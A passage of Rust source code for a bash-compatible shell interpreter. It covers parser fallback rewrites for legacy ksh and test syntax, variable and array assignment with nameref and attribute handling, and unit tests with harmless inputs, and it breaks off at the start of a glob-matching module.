&raw_tokens);\n\n    if tokens.is_empty() {\n        return Ok(ast::Program {\n            complete_commands: vec![],\n        });\n    }\n\n    let options = parser_options();\n\n    match brush_parser::parse_tokens(&tokens, &options) {\n        Ok(program) => Ok(program),\n        Err(err) => {\n            if let Some(rewritten) = rewrite_assignment_prefixed_keyword(&parse_input, &tokens) {\n                let retry_raw_tokens = brush_parser::tokenize_str(&rewritten)\n                    .map_err(|e| RustBashError::Parse(e.to_string()))?;\n                let retry_tokens = rebuild_tokens_from_source(&rewritten, &retry_raw_tokens);\n                if let Ok(program) = brush_parser::parse_tokens(&retry_tokens, &options) {\n                    return Ok(program);\n                }\n            }\n            if let Some(rewritten) = rewrite_extended_test_unary_literal_operands(&parse_input) {\n                let retry_raw_tokens = brush_parser::tokenize_str(&rewritten)\n                    .map_err(|e| RustBashError::Parse(e.to_string()))?;\n                let retry_tokens = rebuild_tokens_from_source(&rewritten, &retry_raw_tokens);\n                if let Ok(program) = brush_parser::parse_tokens(&retry_tokens, &options) {\n                    return Ok(program);\n                }\n            }\n            Err(RustBashError::Parse(err.to_string()))\n        }\n    }\n}\n\nfn rewrite_legacy_ksh_command_substitutions(input: &str) -> Option<String> {\n    if !input.contains(\"${\") {\n        return None;\n    }\n\n    let chars: Vec<char> = input.chars().collect();\n    let mut out = String::with_capacity(input.len());\n    let mut i = 0usize;\n    let mut changed = false;\n    let mut quote: Option<char> = None;\n\n    while i < chars.len() {\n        let ch = chars[i];\n        if let Some(active_quote) = quote {\n            out.push(ch);\n            if ch == active_quote {\n                quote = None;\n            } else if ch == '\\\\' && active_quote == '\"' && i + 1 < chars.len() {\n                i += 1;\n                out.push(chars[i]);\n            }\n            i += 1;\n            continue;\n        }\n\n        if matches!(ch, '\\'' | '\"') {\n            quote = Some(ch);\n            out.push(ch);\n            i += 1;\n            continue;\n        }\n\n        if ch == '$'\n            && i + 1 < chars.len()\n            && chars[i + 1] == '{'\n            && let Some((token, next_idx)) = take_heredoc_delimiter_token(&chars, i)\n            && let Some(rewritten) = rewrite_single_legacy_ksh_token(&token)\n        {\n            out.push_str(&rewritten);\n            changed = true;\n            i = next_idx;\n            continue;\n        }\n\n        out.push(ch);\n        i += 1;\n    }\n\n    changed.then_some(out)\n}\n\nfn rewrite_single_legacy_ksh_token(token: &str) -> Option<String> {\n    if !(token.starts_with(\"${\") && token.ends_with('}')) {\n        return None;\n    }\n\n    let inner = &token[2..token.len() - 1];\n    if let Some(rest) = inner.strip_prefix('|') {\n        if rest.chars().next().is_none_or(|ch| ch.is_whitespace()) {\n            return None;\n        }\n        let body = normalize_legacy_ksh_command_body(trim_legacy_ksh_command_body(rest)?);\n        return Some(format!(\n            \"$( {{ BRUSH_LEGACY_KSH_REPLY=1; {body}; printf '%s' \\\"$REPLY\\\"; }} )\"\n        ));\n    }\n\n    if !inner.chars().next().is_some_and(|ch| ch.is_whitespace()) {\n        return None;\n    }\n\n    let trimmed = inner.trim_start();\n    if trimmed.starts_with('|') {\n        return None;\n    }\n\n    let body = normalize_legacy_ksh_command_body(trim_legacy_ksh_command_body(trimmed)?);\n    Some(format!(\"$({body})\"))\n}\n\nfn trim_legacy_ksh_command_body(body: &str) -> Option<String> {\n    let mut trimmed = body.trim_end();\n    if let Some(stripped) = trimmed.strip_suffix(';') {\n        trimmed = stripped.trim_end();\n    }\n    if trimmed.is_empty() {\n        None\n    } else {\n        Some(trimmed.to_string())\n    }\n}\n\nfn normalize_legacy_ksh_command_body(body: String) -> String {\n    if !body.trim_start().starts_with(\"case \") {\n        return body;\n    }\n\n    if let Some(in_pos) = body.find(\" in \") {\n        let clause_start = in_pos + 4;\n        if body\n            .get(clause_start..)\n            .is_some_and(|rest| !rest.starts_with('('))\n        {\n            let mut normalized = body;\n            normalized.insert(clause_start, '(');\n            return normalized;\n        }\n    }\n\n    body\n}\n\nfn rewrite_expansion_like_heredoc_delimiters(input: &str) -> Option<String> {\n    if !input.contains(\"<<$\") {\n        return None;\n    }\n\n    let chars: Vec<char> = input.chars().collect();\n    let mut out = String::with_capacity(input.len());\n    let mut i = 0;\n    let mut changed = false;\n\n    while i < chars.len() {\n        if chars[i] == '<' && i + 1 < chars.len() && chars[i + 1] == '<' {\n            out.push('<');\n            out.push('<');\n            i += 2;\n            if i < chars.len() && chars[i] == '-' {\n                out.push('-');\n                i += 1;\n            }\n            while i < chars.len() && matches!(chars[i], ' ' | '\\t') {\n                out.push(chars[i]);\n                i += 1;\n            }\n            if i + 1 < chars.len()\n                && chars[i] == '$'\n                && matches!(chars[i + 1], '{' | '(')\n                && let Some((token, next_idx)) = take_heredoc_delimiter_token(&chars, i)\n            {\n                out.push('\\'');\n                out.push_str(&token);\n                out.push('\\'');\n                i = next_idx;\n                changed = true;\n                continue;\n            }\n            continue;\n        }\n\n        out.push(chars[i]);\n        i += 1;\n    }\n\n    changed.then_some(out)\n}\n\nfn take_heredoc_delimiter_token(chars: &[char], start: usize) -> Option<(String, usize)> {\n    if start + 1 >= chars.len() || chars[start] != '$' {\n        return None;\n    }\n\n    let closing = match chars[start + 1] {\n        '{' => '}',\n        '(' => ')',\n        _ => return None,\n    };\n\n    let mut token = String::new();\n    let mut depth = 0usize;\n    let mut i = start;\n    while i < chars.len() {\n        let ch = chars[i];\n        token.push(ch);\n        if ch == chars[start + 1] {\n            depth += 1;\n        } else if ch == closing {\n            depth = depth.saturating_sub(1);\n            if depth == 0 {\n                return Some((token, i + 1));\n            }\n        }\n        i += 1;\n    }\n    None\n}\n\nfn rebuild_tokens_from_source(\n    input: &str,\n    tokens: &[brush_parser::Token],\n) -> Vec<brush_parser::Token> {\n    tokens\n        .iter()\n        .map(|token| match token {\n            brush_parser::Token::Word(text, loc) => {\n                let source_text = slice_source_by_char_range(input, loc.start.index, loc.end.index);\n                if let Some(source_text) = source_text\n                    && source_text != *text\n                    && collapse_space_runs(&source_text) == *text\n                {\n                    brush_parser::Token::Word(source_text, loc.clone())\n                } else {\n                    token.clone()\n                }\n            }\n            brush_parser::Token::Operator(_, _) => token.clone(),\n        })\n        .collect()\n}\n\nfn collapse_space_runs(s: &str) -> String {\n    let mut out = String::with_capacity(s.len());\n    let mut prev_space = false;\n    for ch in s.chars() {\n        if ch == ' ' {\n            if !prev_space {\n                out.push(ch);\n            }\n            prev_space = true;\n        } else {\n            out.push(ch);\n            prev_space = false;\n        }\n    }\n    out\n}\n\nfn slice_source_by_char_range(input: &str, start: usize, end: usize) -> Option<String> {\n    if start > end {\n        return None;\n    }\n\n    let total_chars = input.chars().count();\n    if end > total_chars {\n        return None;\n    }\n\n    let start_byte = if start == total_chars {\n        input.len()\n    } else {\n        input.char_indices().nth(start)?.0\n    };\n    let end_byte = if end == total_chars {\n        input.len()\n    } else {\n        input.char_indices().nth(end)?.0\n    };\n    input.get(start_byte..end_byte).map(ToString::to_string)\n}\n\nfn rewrite_assignment_prefixed_keyword(\n    input: &str,\n    tokens: &[brush_parser::Token],\n) -> Option<String> {\n    if let Some(rewritten) = rewrite_assignment_prefixed_dbracket(input) {\n        return Some(rewritten);\n    }\n\n    const RESERVED_WORDS: &[&str] = &[\n        \"case\", \"do\", \"done\", \"elif\", \"else\", \"esac\", \"fi\", \"for\", \"if\", \"in\", \"select\", \"then\",\n        \"until\", \"while\",\n    ];\n\n    if tokens.len() < 2 {\n        return None;\n    }\n\n    let last = tokens.last()?;\n    if !matches!(last, brush_parser::Token::Word(_, _)) {\n        return None;\n    }\n\n    let last_text = last.to_str();\n    if !RESERVED_WORDS.contains(&last_text) {\n        return None;\n    }\n\n    if !tokens[..tokens.len() - 1]\n        .iter()\n        .all(is_simple_assignment_word_token)\n    {\n        return None;\n    }\n\n    let start = last.location().start.index;\n    let mut rewritten = String::with_capacity(input.len() + 1);\n    rewritten.push_str(&input[..start]);\n    rewritten.push('\\\\');\n    rewritten.push_str(&input[start..]);\n    Some(rewritten)\n}\n\nfn rewrite_assignment_prefixed_dbracket(input: &str) -> Option<String> {\n    fn is_simple_command_delimiter(byte: u8) -> bool {\n        byte.is_ascii_whitespace() || matches!(byte, b';' | b'&' | b'|' | b'(' | b')' | b'<' | b'>')\n    }\n\n    fn is_inline_whitespace(byte: u8) -> bool {\n        matches!(byte, b' ' | b'\\t')\n    }\n\n    let trimmed = input.trim_start();\n    let offset = input.len() - trimmed.len();\n    let bytes = trimmed.as_bytes();\n    let mut pos = 0usize;\n    let mut saw_assignment = false;\n\n    while pos < bytes.len() {\n        let start = pos;\n        while pos < bytes.len() && bytes[pos] != b'=' && !is_simple_command_delimiter(bytes[pos]) {\n            pos += 1;\n        }\n        if pos == start || pos >= bytes.len() || bytes[pos] != b'=' {\n            pos = start;\n            break;\n        }\n        pos += 1;\n        while pos < bytes.len() && !is_simple_command_delimiter(bytes[pos]) {\n            pos += 1;\n        }\n        saw_assignment = true;\n        while pos < bytes.len() && is_inline_whitespace(bytes[pos]) {\n            pos += 1;\n        }\n    }\n\n    if saw_assignment && trimmed[pos..].starts_with(\"[[\") {\n        let open_start = offset + pos;\n        let close_start = input[open_start + 2..]\n            .find(\"]]\")\n            .map(|idx| open_start + 2 + idx)?;\n        let mut rewritten = String::with_capacity(input.len() + 6);\n        rewritten.push_str(&input[..open_start]);\n        rewritten.push_str(\"'[['\");\n        rewritten.push_str(&input[open_start + 2..close_start]);\n        rewritten.push_str(\"']]'\");\n        rewritten.push_str(&input[close_start + 2..]);\n        return Some(rewritten);\n    }\n\n    None\n}\n\nfn rewrite_extended_test_unary_literal_operands(input: &str) -> Option<String> {\n    if !input.contains(\"[[\") {\n        return None;\n    }\n\n    let chars: Vec<char> = input.chars().collect();\n    let mut out = String::with_capacity(input.len());\n    let mut i = 0usize;\n    let mut changed = false;\n    let mut quote: Option<char> = None;\n\n    while i < chars.len() {\n        let ch = chars[i];\n        if let Some(active_quote) = quote {\n            out.push(ch);\n            if ch == active_quote {\n                quote = None;\n            } else if ch == '\\\\' && active_quote == '\"' && i + 1 < chars.len() {\n                i += 1;\n                out.push(chars[i]);\n            }\n            i += 1;\n            continue;\n        }\n\n        if matches!(ch, '\\'' | '\"') {\n            quote = Some(ch);\n            out.push(ch);\n            i += 1;\n            continue;\n        }\n\n        if ch == '['\n            && i + 1 < chars.len()\n            && chars[i + 1] == '['\n            && let Some(end) = find_extended_test_end(&chars, i + 2)\n        {\n            let segment: String = chars[i..end + 2].iter().collect();\n            if let Some(rewritten) = rewrite_single_extended_test_segment(&segment) {\n                out.push_str(&rewritten);\n                changed = true;\n            } else {\n                out.push_str(&segment);\n            }\n            i = end + 2;\n            continue;\n        }\n\n        out.push(ch);\n        i += 1;\n    }\n\n    changed.then_some(out)\n}\n\nfn find_extended_test_end(chars: &[char], start: usize) -> Option<usize> {\n    let mut i = start;\n    let mut quote: Option<char> = None;\n\n    while i + 1 < chars.len() {\n        let ch = chars[i];\n        if let Some(active_quote) = quote {\n            if ch == active_quote {\n                quote = None;\n            } else if ch == '\\\\' && active_quote == '\"' {\n                i += 1;\n            }\n            i += 1;\n            continue;\n        }\n\n        if matches!(ch, '\\'' | '\"') {\n            quote = Some(ch);\n            i += 1;\n            continue;\n        }\n\n        if ch == ']' && chars[i + 1] == ']' {\n            return Some(i);\n        }\n\n        i += 1;\n    }\n\n    None\n}\n\nfn rewrite_single_extended_test_segment(segment: &str) -> Option<String> {\n    if !segment.starts_with(\"[[\") || !segment.ends_with(\"]]\") {\n        return None;\n    }\n\n    let inner = &segment[2..segment.len() - 2];\n    let tokens: Vec<&str> = inner.split_whitespace().collect();\n    if tokens.len() == 2\n        && is_extended_test_unary_predicate(tokens[0])\n        && matches!(tokens[1], \"=\" | \"==\")\n    {\n        return Some(format!(\"[[ {} '{}' ]]\", tokens[0], tokens[1]));\n    }\n\n    None\n}\n\nfn is_extended_test_unary_predicate(token: &str) -> bool {\n    matches!(\n        token,\n        \"-a\" | \"-b\"\n            | \"-c\"\n            | \"-d\"\n            | \"-e\"\n            | \"-f\"\n            | \"-g\"\n            | \"-h\"\n            | \"-k\"\n            | \"-n\"\n            | \"-o\"\n            | \"-p\"\n            | \"-r\"\n            | \"-s\"\n            | \"-t\"\n            | \"-u\"\n            | \"-v\"\n            | \"-w\"\n            | \"-x\"\n            | \"-z\"\n            | \"-G\"\n            | \"-L\"\n            | \"-N\"\n            | \"-O\"\n            | \"-R\"\n            | \"-S\"\n    )\n}\n\nfn is_simple_assignment_word_token(token: &brush_parser::Token) -> bool {\n    let brush_parser::Token::Word(text, _) = token else {\n        return false;\n    };\n    let Some((name, _value)) = text.split_once('=') else {\n        return false;\n    };\n    let mut chars = name.chars();\n    let Some(first) = chars.next() else {\n        return false;\n    };\n    if !first.is_ascii_alphabetic() && first != '_' {\n        return false;\n    }\n    chars.all(|c| c.is_ascii_alphanumeric() || c == '_')\n}\n\n/// Set a variable in the interpreter state, respecting readonly, nameref,\n/// and attribute transforms (INTEGER, LOWERCASE, UPPERCASE).\npub(crate) fn set_variable(\n    state: &mut InterpreterState,\n    name: &str,\n    value: String,\n) -> Result<(), RustBashError> {\n    if value.len() > state.limits.max_string_length {\n        return Err(RustBashError::LimitExceeded {\n            limit_name: \"max_string_length\",\n            limit_value: state.limits.max_string_length,\n            actual_value: value.len(),\n        });\n    }\n\n    // Resolve nameref chain to find the actual target variable.\n    let target = resolve_nameref(name, state)?;\n\n    // Empty nameref target (e.g. `typeset -n ref` with no value): assignment\n    // sets the nameref's target to `value`, not the pointed-to variable.\n    if target.is_empty()\n        && state\n            .env\n            .get(name)\n            .is_some_and(|v| v.attrs.contains(VariableAttrs::NAMEREF))\n    {\n        if let Some(var) = state.env.get_mut(name) {\n            var.value = VariableValue::Scalar(value);\n            var.attrs.remove(VariableAttrs::DECLARED_ONLY);\n        }\n        return Ok(());\n    }\n\n    // If the resolved target is an array subscript (e.g. from a nameref to \"a[2]\"),\n    // set the array element directly.\n    if let Some(bracket_pos) = target.find('[')\n        && target.ends_with(']')\n    {\n        let arr_name = &target[..bracket_pos];\n        let index_raw = &target[bracket_pos + 1..target.len() - 1];\n        // Expand variables and strip quotes from the index.\n        let word = brush_parser::ast::Word {\n            value: index_raw.to_string(),\n            loc: None,\n        };\n        let expanded_key = crate::interpreter::expansion::expand_word_to_string_mut(&word, state)?;\n\n        if let Some(var) = state.env.get(arr_name)\n            && var.readonly()\n        {\n            return Err(RustBashError::Execution(format!(\n                \"{arr_name}: readonly variable\"\n            )));\n        }\n\n        // Determine variable type and evaluate index before mutable borrow.\n        let is_assoc = state\n            .env\n            .get(arr_name)\n            .is_some_and(|v| matches!(v.value, VariableValue::AssociativeArray(_)));\n        let numeric_idx = if !is_assoc {\n            crate::interpreter::arithmetic::eval_arithmetic(&expanded_key, state).unwrap_or(0)\n        } else {\n            0\n        };\n\n        match state.env.get_mut(arr_name) {\n            Some(var) => match &mut var.value {\n                VariableValue::AssociativeArray(map) => {\n                    map.insert(expanded_key, value);\n                }\n                VariableValue::IndexedArray(map) => {\n                    let actual_idx = if numeric_idx < 0 {\n                        let max_key = map.keys().next_back().copied().unwrap_or(0);\n                        let resolved = max_key as i64 + 1 + numeric_idx;\n                        if resolved < 0 {\n                            0usize\n                        } else {\n                            resolved as usize\n                        }\n                    } else {\n                        numeric_idx as usize\n                    };\n                    map.insert(actual_idx, value);\n                }\n                VariableValue::Scalar(s) => {\n                    if numeric_idx == 0 || numeric_idx == -1 {\n                        *s = value;\n                    }\n                }\n            },\n            None => {\n                // Create as indexed array with the element.\n                let idx = expanded_key.parse::<usize>().unwrap_or(0);\n                let mut map = std::collections::BTreeMap::new();\n                map.insert(idx, value);\n                state.env.insert(\n                    arr_name.to_string(),\n                    Variable {\n                        value: VariableValue::IndexedArray(map),\n                        attrs: VariableAttrs::empty(),\n                    },\n                );\n            }\n        }\n        return Ok(());\n    }\n\n    // SECONDS assignment resets the shell timer.\n    if target == \"SECONDS\" {\n        if let Ok(offset) = value.parse::<u64>() {\n            // `SECONDS=N` sets the timer so that $SECONDS reads as N right now.\n            // We achieve this by moving shell_start_time backwards by N seconds.\n            state.shell_start_time = Instant::now() - std::time::Duration::from_secs(offset);\n        } else {\n            state.shell_start_time = Instant::now();\n        }\n        return Ok(());\n    }\n\n    if let Some(var) = state.env.get(&target)\n        && var.readonly()\n    {\n        return Err(RustBashError::Execution(format!(\n            \"{target}: readonly variable\"\n        )));\n    }\n\n    // Get attributes of target for transforms.\n    let attrs = state\n        .env\n        .get(&target)\n        .map(|v| v.attrs)\n        .unwrap_or(VariableAttrs::empty());\n\n    // INTEGER: evaluate value as arithmetic expression.\n    let value = if attrs.contains(VariableAttrs::INTEGER) {\n        let result = crate::interpreter::arithmetic::eval_arithmetic(&value, state)?;\n        result.to_string()\n    } else {\n        value\n    };\n\n    // Case transforms (lowercase takes precedence if both set, but both shouldn't be).\n    let value = if attrs.contains(VariableAttrs::LOWERCASE) {\n        value.to_lowercase()\n    } else if attrs.contains(VariableAttrs::UPPERCASE) {\n        value.to_uppercase()\n    } else {\n        value\n    };\n\n    match state.env.get_mut(&target) {\n        Some(var) => {\n            match &mut var.value {\n                VariableValue::IndexedArray(map) => {\n                    map.insert(0, value);\n                }\n                VariableValue::AssociativeArray(map) => {\n                    map.insert(\"0\".to_string(), value);\n                }\n                VariableValue::Scalar(s) => *s = value,\n            }\n            var.attrs.remove(VariableAttrs::DECLARED_ONLY);\n            // allexport: auto-export on every assignment\n            if state.shell_opts.allexport {\n                var.attrs.insert(VariableAttrs::EXPORTED);\n            }\n        }\n        None => {\n            let attrs = if state.shell_opts.allexport {\n                VariableAttrs::EXPORTED\n            } else {\n                VariableAttrs::empty()\n            };\n            state.env.insert(\n                target,\n                Variable {\n                    value: VariableValue::Scalar(value),\n                    attrs,\n                },\n            );\n        }\n    }\n    Ok(())\n}\n\n/// Set an array element in the interpreter state, creating the array if needed.\n/// Resolves nameref before operating.\npub(crate) fn set_array_element(\n    state: &mut InterpreterState,\n    name: &str,\n    index: usize,\n    value: String,\n) -> Result<(), RustBashError> {\n    let target = resolve_nameref(name, state)?;\n    if let Some(var) = state.env.get(&target)\n        && var.readonly()\n    {\n        return Err(RustBashError::Execution(format!(\n            \"{target}: readonly variable\"\n        )));\n    }\n\n    // Apply attribute transforms (INTEGER, LOWERCASE, UPPERCASE).\n    let attrs = state\n        .env\n        .get(&target)\n        .map(|v| v.attrs)\n        .unwrap_or(VariableAttrs::empty());\n    let value = if attrs.contains(VariableAttrs::INTEGER) {\n        crate::interpreter::arithmetic::eval_arithmetic(&value, state)?.to_string()\n    } else {\n        value\n    };\n    let value = if attrs.contains(VariableAttrs::LOWERCASE) {\n        value.to_lowercase()\n    } else if attrs.contains(VariableAttrs::UPPERCASE) {\n        value.to_uppercase()\n    } else {\n        value\n    };\n\n    let limit = state.limits.max_array_elements;\n    match state.env.get_mut(&target) {\n        Some(var) => {\n            match &mut var.value {\n                VariableValue::IndexedArray(map) => {\n                    if !map.contains_key(&index) && map.len() >= limit {\n                        return Err(RustBashError::LimitExceeded {\n                            limit_name: \"max_array_elements\",\n                            limit_value: limit,\n                            actual_value: map.len() + 1,\n                        });\n                    }\n                    map.insert(index, value);\n                }\n                VariableValue::Scalar(_) => {\n                    let mut map = BTreeMap::new();\n                    map.insert(index, value);\n                    var.value = VariableValue::IndexedArray(map);\n                }\n                VariableValue::AssociativeArray(_) => {\n                    return Err(RustBashError::Execution(format!(\n                        \"{target}: cannot use numeric index on associative array\"\n                    )));\n                }\n            }\n            var.attrs.remove(VariableAttrs::DECLARED_ONLY);\n        }\n        None => {\n            let mut map = BTreeMap::new();\n            map.insert(index, value);\n            state.env.insert(\n                target,\n                Variable {\n                    value: VariableValue::IndexedArray(map),\n                    attrs: VariableAttrs::empty(),\n                },\n            );\n        }\n    }\n    Ok(())\n}\n\n/// Set an associative array element. Resolves nameref before operating.\npub(crate) fn set_assoc_element(\n    state: &mut InterpreterState,\n    name: &str,\n    key: String,\n    value: String,\n) -> Result<(), RustBashError> {\n    let target = resolve_nameref(name, state)?;\n    if let Some(var) = state.env.get(&target)\n        && var.readonly()\n    {\n        return Err(RustBashError::Execution(format!(\n            \"{target}: readonly variable\"\n        )));\n    }\n\n    // Apply attribute transforms (INTEGER, LOWERCASE, UPPERCASE).\n    let attrs = state\n        .env\n        .get(&target)\n        .map(|v| v.attrs)\n        .unwrap_or(VariableAttrs::empty());\n    let value = if attrs.contains(VariableAttrs::INTEGER) {\n        crate::interpreter::arithmetic::eval_arithmetic(&value, state)?.to_string()\n    } else {\n        value\n    };\n    let value = if attrs.contains(VariableAttrs::LOWERCASE) {\n        value.to_lowercase()\n    } else if attrs.contains(VariableAttrs::UPPERCASE) {\n        value.to_uppercase()\n    } else {\n        value\n    };\n\n    let limit = state.limits.max_array_elements;\n    match state.env.get_mut(&target) {\n        Some(var) => {\n            match &mut var.value {\n                VariableValue::AssociativeArray(map) => {\n                    if !map.contains_key(&key) && map.len() >= limit {\n                        return Err(RustBashError::LimitExceeded {\n                            limit_name: \"max_array_elements\",\n                            limit_value: limit,\n                            actual_value: map.len() + 1,\n                        });\n                    }\n                    map.insert(key, value);\n                }\n                _ => {\n                    return Err(RustBashError::Execution(format!(\n                        \"{target}: not an associative array\"\n                    )));\n                }\n            }\n            var.attrs.remove(VariableAttrs::DECLARED_ONLY);\n        }\n        None => {\n            return Err(RustBashError::Execution(format!(\n                \"{target}: not an associative array\"\n            )));\n        }\n    }\n    Ok(())\n}\n\n/// Generate next pseudo-random number (xorshift32, range 0..32767).\npub(crate) fn next_random(state: &mut InterpreterState) -> u16 {\n    let mut s = state.random_seed;\n    if s == 0 {\n        s = 12345;\n    }\n    s ^= s << 13;\n    s ^= s >> 17;\n    s ^= s << 5;\n    state.random_seed = s;\n    (s & 0x7FFF) as u16\n}\n\n/// Resolve a nameref chain: follow NAMEREF attributes until a non-nameref variable\n/// (or missing variable) is found. Returns the final target name.\n/// Errors on circular references (chain longer than 10).\npub(crate) fn resolve_nameref(\n    name: &str,\n    state: &InterpreterState,\n) -> Result<String, RustBashError> {\n    let mut current = name.to_string();\n    for _ in 0..10 {\n        match state.env.get(&current) {\n            Some(var) if var.attrs.contains(VariableAttrs::NAMEREF) => {\n                current = var.value.as_scalar().to_string();\n            }\n            _ => return Ok(current),\n        }\n    }\n    Err(RustBashError::Execution(format!(\n        \"{name}: circular name reference\"\n    )))\n}\n\n/// Non-failing nameref resolution: returns the resolved name, or the original\n/// name if the chain is circular.\npub(crate) fn resolve_nameref_or_self(name: &str, state: &InterpreterState) -> String {\n    resolve_nameref(name, state).unwrap_or_else(|_| name.to_string())\n}\n\n/// Execute a trap handler string, preventing recursive re-trigger of the same trap type.\npub(crate) fn execute_trap(\n    trap_cmd: &str,\n    state: &mut InterpreterState,\n) -> Result<ExecResult, RustBashError> {\n    let was_in_trap = state.in_trap;\n    state.in_trap = true;\n    let program = parse(trap_cmd)?;\n    let result = walker::execute_program(&program, state);\n    state.in_trap = was_in_trap;\n    result\n}\n\n#[cfg(test)]\nmod tests {\n    use super::*;\n\n    #[test]\n    fn parse_empty_input() {\n        let program = parse(\"\").unwrap();\n        assert!(program.complete_commands.is_empty());\n    }\n\n    #[test]\n    fn parse_simple_command() {\n        let program = parse(\"echo hello\").unwrap();\n        assert_eq!(program.complete_commands.len(), 1);\n    }\n\n    #[test]\n    fn parse_sequential_commands() {\n        let program = parse(\"echo a; echo b\").unwrap();\n        assert!(!program.complete_commands.is_empty());\n    }\n\n    #[test]\n    fn parse_pipeline() {\n        let program = parse(\"echo hello | cat\").unwrap();\n        assert_eq!(program.complete_commands.len(), 1);\n    }\n\n    #[test]\n    fn parse_and_or() {\n        let program = parse(\"true && echo yes\").unwrap();\n        assert_eq!(program.complete_commands.len(), 1);\n    }\n\n    #[test]\n    fn parse_error_on_unclosed_quote() {\n        let result = parse(\"echo 'unterminated\");\n        assert!(result.is_err());\n    }\n\n    #[test]\n    fn expand_simple_text() {\n        let word = ast::Word {\n            value: \"hello\".to_string(),\n            loc: None,\n        };\n        let state = make_test_state();\n        assert_eq!(expand_word(&word, &state).unwrap(), vec![\"hello\"]);\n    }\n\n    #[test]\n    fn expand_single_quoted_text() {\n        let word = ast::Word {\n            value: \"'hello world'\".to_string(),\n            loc: None,\n        };\n        let state = make_test_state();\n        assert_eq!(expand_word(&word, &state).unwrap(), vec![\"hello world\"]);\n    }\n\n    #[test]\n    fn expand_double_quoted_text() {\n        let word = ast::Word {\n            value: \"\\\"hello world\\\"\".to_string(),\n            loc: None,\n        };\n        let state = make_test_state();\n        assert_eq!(expand_word(&word, &state).unwrap(), vec![\"hello world\"]);\n    }\n\n    #[test]\n    fn expand_escaped_character() {\n        let word = ast::Word {\n            value: \"hello\\\\ world\".to_string(),\n            loc: None,\n        };\n        let state = make_test_state();\n        assert_eq!(expand_word(&word, &state).unwrap(), vec![\"hello world\"]);\n    }\n\n    fn make_test_state() -> InterpreterState {\n        use crate::vfs::InMemoryFs;\n        InterpreterState {\n            fs: Arc::new(InMemoryFs::new()),\n            env: HashMap::new(),\n            cwd: \"/\".to_string(),\n            functions: HashMap::new(),\n            last_exit_code: 0,\n            commands: HashMap::new(),\n            shell_opts: ShellOpts::default(),\n            shopt_opts: ShoptOpts::default(),\n            limits: ExecutionLimits::default(),\n            counters: ExecutionCounters::default(),\n            network_policy: NetworkPolicy::default(),\n            should_exit: false,\n            abort_command_list: false,\n            loop_depth: 0,\n            control_flow: None,\n            positional_params: Vec::new(),\n            shell_name: \"rust-bash\".to_string(),\n            shell_pid: 1000,\n            bash_pid: 1000,\n            parent_pid: 1,\n            next_process_id: 1001,\n            last_background_pid: None,\n            last_background_status: None,\n            interactive_shell: false,\n            invoked_with_c: false,\n            random_seed: 42,\n            local_scopes: Vec::new(),\n            temp_binding_scopes: Vec::new(),\n            in_function_depth: 0,\n            source_depth: 0,\n            getopts_subpos: 0,\n            getopts_args_signature: String::new(),\n            traps: HashMap::new(),\n            in_trap: false,\n            errexit_suppressed: 0,\n            errexit_bang_suppressed: 0,\n            stdin_offset: 0,\n            current_stdin_persistent_fd: None,\n            dir_stack: Vec::new(),\n            command_hash: HashMap::new(),\n            aliases: HashMap::new(),\n            current_lineno: 0,\n            current_source: \"main\".to_string(),\n            current_source_text: String::new(),\n            last_verbose_line: 0,\n            shell_start_time: Instant::now(),\n            last_argument: String::new(),\n            call_stack: Vec::new(),\n            machtype: \"x86_64-pc-linux-gnu\".to_string(),\n            hosttype: \"x86_64\".to_string(),\n            persistent_fds: HashMap::new(),\n            persistent_fd_offsets: HashMap::new(),\n            next_auto_fd: 10,\n            proc_sub_counter: 0,\n            proc_sub_prealloc: HashMap::new(),\n            pipe_stdin_bytes: None,\n            pending_cmdsub_stderr: String::new(),\n            pending_test_stderr: String::new(),\n            fatal_expansion_error: false,\n            last_command_had_error: false,\n            last_status_immune_to_errexit: false,\n            script_source: None,\n        }\n    }\n}\n","/home/user/src/interpreter/pattern.rs":"//! Shell-glob pattern matching for parameter expansion and `[[ ]]`.\n//!\n//! Supports `*`, `?`, `[...]` (character classes), `[!...]` (negated classes),\n//! literal characters, and extglob patterns: `@(...)`, `+(...)`, `*(...)`,\n//! `?(...)`, `!(...)`. Backslash escapes the next character.\n//!\n//! Character classes also support POSIX named classes like `[:alpha:]`.\n\n/// Match a shell glob pattern against a string (no extglob).\npub(crate) fn glob_match(pattern: &str, text: &str) -> bool {\n    glob_match_inner(pattern.as_bytes(), text.as_bytes(), false, false, false)\n}\n\n/// Case-insensitive variant of `glob_match` (no extglob).\npub(crate) fn glob_match_nocase(pattern: &str, text: &str) -> bool {\n    glob_match_inner(pattern.as_bytes(), text.as_bytes(), true, false, false)\n}\n\n/// Path-aware glob match: `*` does not match `/` (for GLOBIGNORE, file globbing).\npub(crate) fn glob_match_path(pattern: &str, text: &str) -> bool {\n    glob_match_inner(pattern.as_bytes(), text.as_bytes(), false, true, false)\n}\n\n/// Match a shell glob pattern with extglob support.\npub(crate) fn extglob_match(pattern: &str, text: &str) -> bool {\n    if has_extglob_syntax(pattern.as_bytes()) {\n        return ext_match(pattern.as_bytes(), 0, text.as_bytes(), 0, false, 0);\n    }\n    glob_match_inner(pattern.as_bytes(), text.as_bytes(), false, false, false)\n}\n\n/// Case-insensitive extglob match.\npub(crate) fn extglob_match_nocase(pattern: &str, text: &str) -> bool {\n    if has_extglob_syntax(pattern.as_bytes()) {\n        return ext_match(pattern.as_bytes(), 0, text.as_bytes(), 0, true, 0);\n    }\n    glob_match_inner(pattern.as_bytes(), text.as_bytes(), true, false, false)\n}\n\npub(crate) fn has_extglob_pattern(pattern: &str) -> bool {\n    has_extglob_syntax(pattern.as_bytes())\n}\n\n/// Return the byte length of the UTF-8 character starting at `first_byte`.\nfn utf8_char_len(first_byte: u8) -> usize {\n    if first_byte < 0x80 {\n        1\n    } else if first_byte < 0xE0 {\n        2\n    } else if first_byte < 0xF0 {\n        3\n    } else {\n        4\n    }\n}\n\nfn glob_match_inner(\n    pat: &[u8],\n    txt: &[u8],\n    nocase: bool,\n    path_mode: bool,\n    byte_mode: bool,\n) -> bool {\n    let mut pi = 0;\n    let mut ti = 0;\n    let mut star_pi = usize::MAX;\n    let mut star_ti = 0;\n\n    while ti < txt.len() {\n        if pi < pat.len() && pat[pi] == b'\\\\' && pi + 1 < pat.len() {\n            // escaped literal\n            if bytes_eq(txt[ti], pat[pi + 1], nocase) {\n                pi += 2;\n                ti += 1;\n                continue;\n            }\n        } else if pi < pat.len() && pat[pi] == b'?' {\n            // In path mode, `?` does not match `/`\n            if path_mode && txt[ti] == b'/' {\n                // fall through to mismatch/backtrack\n            } else {\n                // `?` matches one character, advance by its full UTF-8 byte length\n                pi += 1;\n                ti += if byte_mode { 1 } else { utf8_char_len(txt[ti]) };\n                